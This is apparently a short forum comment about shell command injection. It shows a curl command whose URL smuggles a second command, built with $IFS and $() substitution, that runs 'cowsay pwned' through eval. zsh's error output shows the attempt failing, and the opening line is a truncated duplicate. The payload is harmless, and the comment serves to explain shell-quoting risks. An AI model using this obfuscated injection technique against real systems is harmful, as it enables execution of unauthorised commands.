After I wrapped it in quotes to workaround zsh safety mechanisms: % curl 'http://example.com/;'$(gt=$(perl$IFS-E$IFS's//62/;s/62/chr/e;say');eval$IFS''cowsay

After I wrapped it in quotes to workaround zsh safety mechanisms: % curl 'http://example.com/;'$(gt=$(perl$IFS-E$IFS's//62/;s/62/chr/e;say');eval$IFS''cowsay$IFS''pwned$IFS$gt/dev/tty)';cowsay$IFS''pwned' zsh: no such file or directory: perl \t\n zsh: no such file or directory: eval \t\n <!doctype html> <html> ...